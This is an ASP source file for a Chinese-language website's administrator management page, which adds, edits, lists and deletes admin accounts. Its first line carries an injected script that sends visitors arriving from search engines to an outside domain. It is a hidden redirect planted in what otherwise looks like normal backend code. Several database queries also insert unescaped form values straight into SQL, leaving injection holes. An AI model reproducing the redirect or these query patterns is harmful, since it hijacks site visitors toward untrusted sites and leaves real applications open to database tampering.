d:\wwwroot\wuchunhua\sendmail\mail_manager.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="inc_CheckLogin.asp"-->
002: <!--#include file="inc/md5.asp"-->
003: <html>
004: <head>
005: <title>管理</title>
006: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
007: <script language="javascript" src="inc/js.js"></script>
008: <link rel="stylesheet" href="inc/style.css">
009: </head>
010: <body>
011: <%
012: action=request.QueryString("action")
013: select case action
014:    case "edit" :CheckString("04"): call edit
015:    case "del" : call del
016:    case else
017:       call main
018: end select
019:
020: sub main
021: CheckString("02")
022: if GetForm("act")="addsave" Then
023:    CheckString("03")
024:    UserName=GetForm("UserName")
025:    PassWord=GetForm("PassWord")
026:    Truename=GetForm("Truename")
027:    Admin_State=GetForm("Admin_State")
028:   
029:    if strLength(UserName)<4 then ErrMsg = ErrMsg & "● 为了账户安全登陆账户不得小于4个字符;\n"
030:    if strLength(PassWord)<4 then ErrMsg = ErrMsg & "● 为了账户安全登陆密码不得小于4个字符;\n"
031:    if ErrMsg="" then
032:       if not CheckName(UserName) then ErrMsg = ErrMsg & "● 登陆账户包含有非法字符;\n"
033:       if not CheckPassword(PassWord) then ErrMsg = ErrMsg & "● 登陆密码包含有非法字符;\n"
034:    end if
035:    if ErrMsg="" then
036:       if not conn.execute("select id from [vn_manager] where UserName='"& UserName &"'").eof then
037:          ErrMsg = ErrMsg & "此登陆账户已经被使用,请用其他用户名重试;"
038:          FoundErr=true
039:       end if
040:    end if
041:   
042:    if ErrMsg="" then
043:       PassWord=md5(PassWord,32)
044:       conn.execute("insert into[vn_manager](UserName,[PassWord],LoginTimes,Truename,Joindate,Admin_State)values('"& UserName &"','"& PassWord &"',0,'"& Truename &"',"& SqlNowString &","& Admin_State &")")
045:       Netlog A_UserName,"添加新管理员"& UserName &""
046:       alert "管理员账户添加成功;","?"
047:    end if
048:    if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
049: end if
050: %
>
051: <table width="99%" border="0" align="center" cellpadding="5" cellspacing="1" class="tablebk" style="border-collapse: collapse">
052: <form name="Form1" action="?" method="post">
053: <input name="act" value="addsave" type="hidden">
054:   <tr>
055:     <td colspan="2" class="table_titlebg">网站管理人员添加</td>
056:   </tr>
057:   <tr>
058:     <td width="41%" align="right" class="table_trbg02"><strong>登陆账户:</strong></td>
059:     <td width="59%" class="table_trbg02"><span class="table_trbg02">
060:       <input name="UserName" type="text" class="INPUT" id="UserName" size="30" value="<%=UserName%>">
061:     </span></td>
062:   </tr>
063:   <tr>
064:     <td align="right" class="table_trbg02"><strong>登陆密码:</strong></td>
065:     <td class="table_trbg02"><input name="PassWord" type="password" class="INPUT" id="PassWord" size="30"></td>
066:   </tr>
067:   <tr>
068:     <td align="right" class="table_trbg02"><strong>管理姓名:</strong></td>
069:     <td class="table_trbg02"><span class="table_trbg02">
070:       <input name="Truename" type="text" class="INPUT" id="Truename" size="30" value="<%=Truename%>">
071:     </span></td>
072:   </tr>
073:   <tr>
074:     <td align="right" class="table_trbg02"><strong>账户状态:</strong></td>
075:     <td class="table_trbg02"><input type="radio" name="Admin_State" value="0"<%if Admin_State="" then response.Write(" checked=""checked""") else response.Write(SetChecked(Admin_State,"0"))%>>正常 &nbsp;
076:       <input type="radio" name="Admin_State" value="1"<%=SetChecked(Admin_State,"1")%>>锁定</td>
077:   </tr>
078:   <tr>
079:     <td height="40" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value="提交">
080:       &nbsp;
081:       <input type="reset" name="Submit" value="重置"></td>
082:   </tr>
083:   </form>
084: </table>
085:
086: <br class="table_br" />
087: <table width="99%" border="0" align="center" cellpadding="5" cellspacing="1" class="tablebk" style="border-collapse: collapse">
088:   <tr>
089:     <td colspan="7" class="table_titlebg">网站管理人员列表</td>
090:   </tr>
091:   <tr>
092:     <td width="8%" align="center" class="table_trbg01"><strong>ID</strong></td>
093:     <td width="18%" align="center" class="table_trbg01"><strong>登陆账户</strong></td>
094:     <td width="17%" align="center" class="table_trbg01"><strong>管理姓名</strong></td>
095:     <td width="12%" align="center" class="table_trbg01"><strong>登陆次数</strong></td>
096:     <td width="12%" align="center" class="table_trbg01"><strong>账户状态</strong></td>
097:     <td width="20%" align="center" class="table_trbg01"><strong>加入时间</strong></td>
098:     <td align="center" class="table_trbg01"><strong>操作</strong></td>
099:   </tr>
100: <%set rs=conn.execute("select * from [vn_manager] order by id desc")
101: i=0
102: dim classname
103: do while not rs.eof
104: if i mod 2 =0 then classname=" class=""table_trbg03""" else classname=" class=""table_trbg02"""
105: %
>
106:   <tr>
107:     <td align="center" class="table_trbg02"<%=classname%>><%=rs("id")%></td>
108:     <td align="center" class="table_trbg02"<%=classname%>><%=rs("username")%></td>
109:     <td align="center" class="table_trbg02"<%=classname%>><%=rs("truename")%></td>
110:     <td align="center" class="table_trbg02"<%=classname%>><%=rs("LoginTimes")%></td>
111:     <td align="center" class="table_trbg02"<%=classname%>><%if rs("Admin_State")="0" then response.Write("正常") else response.Write("<span class=""red"">锁定</span>")%></td>
112:     <td align="center" class="table_trbg02"<%=classname%>><%=rs("joindate")%></td>
113:     <td align="center" class="table_trbg02"<%=classname%>><A href="?action=edit&id=<%=rs("id")%>">编辑</A> <A href="?action=del&id=<%=rs("id")%>">删除</A></td>
114:   </tr>
115: <%rs.movenext
116: loop
117: rs.close:set rs=nothing%
>
118: </table>
119: <%end sub
120:
121: sub edit
122:    CheckString("04")
123: id=checkstr(request.QueryString("id"))
124: if not isInteger(id) then alert "参数传递出错,请重试;","back"
125: set rs=conn.execute("select * from [vn_manager] where id="& id &"")
126: if rs.eof then
127:    alert "没有找到此管理人员,请重试;","back"
128: else
129:    UserName=rs("UserName")
130:    Truename=rs("Truename")
131:    Admin_State=rs("Admin_State")
132: end if
133:    rs.close:set rs=nothing
134:
135:
136: if GetForm("act")="editsave" then
137:
138:    UserName=GetForm("UserName")
139:    PassWord=GetForm("PassWord")
140:    Truename=GetForm("Truename")
141:    Admin_State=GetForm("Admin_State")
142:
143:    if strLength(UserName)<4 then ErrMsg = ErrMsg & "● 为了账户安全登陆账户不得小于4个字符;\n"
144:    if strLength(PassWord)<4 and PassWord<>"" then ErrMsg = ErrMsg & "● 为了账户安全登陆密码不得小于4个字符;\n"
145:    if ErrMsg="" then
146:       if not CheckName(UserName) then ErrMsg = ErrMsg & "● 登陆账户包含有非法字符;\n"
147:       if (not CheckPassword(PassWord)) and PassWord<>"" then ErrMsg = ErrMsg & "● 登陆密码包含有非法字符;\n"
148:    end if
149:
150:    if not conn.execute("select id from [vn_manager] where UserName='"& UserName &"' and id<>"& id &"").eof then
151:       ErrMsg = ErrMsg & "● 此登陆账户已经被使用,请用其他用户名重试;\n"
152:       FoundErr=true
153:    end if
154:   
155:   
156:    if ErrMsg="" then
157:       if PassWord<>"" then
158:          PassWord=md5(PassWord,32)
159:          sql2=" ,[PassWord]='"& PassWord &"' "
160:       end if
161:       conn.execute("update [vn_manager] set UserName='"& UserName &"',Truename='"& Truename &"',Admin_State="& Admin_State &" "& sql2 &" where id="& id &"")
162:       
163:       if cstr(A_UserID)=cstr(id) then
164:       SetCookies "Admin","AdminName",UserName '建立session cookies
165:          if PassWord<>"" then SetCookies "Admin","AdminPassword",PassWord
166:       end if
167:       Netlog A_UserName,"编辑保存管理员"& UserName &""
168:       alert "编辑保存成功;","?action=edit&id="& id &""
169:    end if
170:    if ErrMsg<>"" then response.Write(SetErrMsg(ErrMsg))
171: end if
172: %
>
173: <table width="99%" border="0" align="center" cellpadding="5" cellspacing="1" class="tablebk" style="border-collapse: collapse">
174: <form name="Form1" action="?action=edit&id=<%=id%>" method="post">
175: <input name="act" value="editsave" type="hidden">
176:   <tr>
177:     <td colspan="2" class="table_titlebg">网站管理人员编辑</td>
178:   </tr>
179:   <tr>
180:     <td width="18%" align="right" class="table_trbg02"><strong>登陆账户:</strong></td>
181:     <td width="82%" class="table_trbg02"><span class="table_trbg02">
182:       <input name="UserName" type="text" class="INPUT" id="UserName" size="30" value="<%=UserName%>">
183:     </span></td>
184:   </tr>
185:   <tr>
186:     <td align="right" class="table_trbg02"><strong>登陆密码:</strong></td>
187:     <td class="table_trbg02"><input name="PassWord" type="password" class="INPUT" id="PassWord" size="30">
188:     不修改请留空</td>
189:   </tr>
190:   <tr>
191:     <td align="right" class="table_trbg02"><strong>管理姓名:</strong></td>
192:     <td class="table_trbg02"><span class="table_trbg02">
193:       <input name="Truename" type="text" class="INPUT" id="Truename" size="30" value="<%=Truename%>">
194:     </span></td>
195:   </tr>
196:   <tr>
197:     <td align="right" class="table_trbg02"><strong>账户状态:</strong></td>
198:     <td class="table_trbg02"><input type="radio" name="Admin_State" value="0"<%=SetChecked(Admin_State,"0")%>>正常 &nbsp;
199:       <input type="radio" name="Admin_State" value="1"<%=SetChecked(Admin_State,"1")%>>锁定</td>
200:   </tr>
201:   <tr>
202:     <td height="40" colspan="2" align="center" class="table_trbg02"><input type="submit" name="Submit" value="提交">
203:       &nbsp;
204:       <input type="button" name="Submit" value="返回" onClick="window.location='?';"></td>
205:   </tr>
206:   </form>
207: </table>
208: <%end sub
209:
210: sub del
211:    CheckString("05")
212: id=checkstr(request.QueryString("id"))
213: if not isInteger(id) then alert "参数传递出错,请重试;","back"
214: set rs=conn.execute("select * from [vn_manager] where id="& id &"")
215: if rs.eof then
216:    alert "没有找到此管理人员,请重试;","back"
217: end If
218:    UserName=rs("UserName")
219:    rs.close:set rs=nothing
220:    conn.execute("delete from [vn_manager] where id="& id &"")
221:    alert "管理人员 "& UserName &" 删除成功;","?"
222:
223: End sub
224: %
>
225: </body>
226: </html>
227:
228: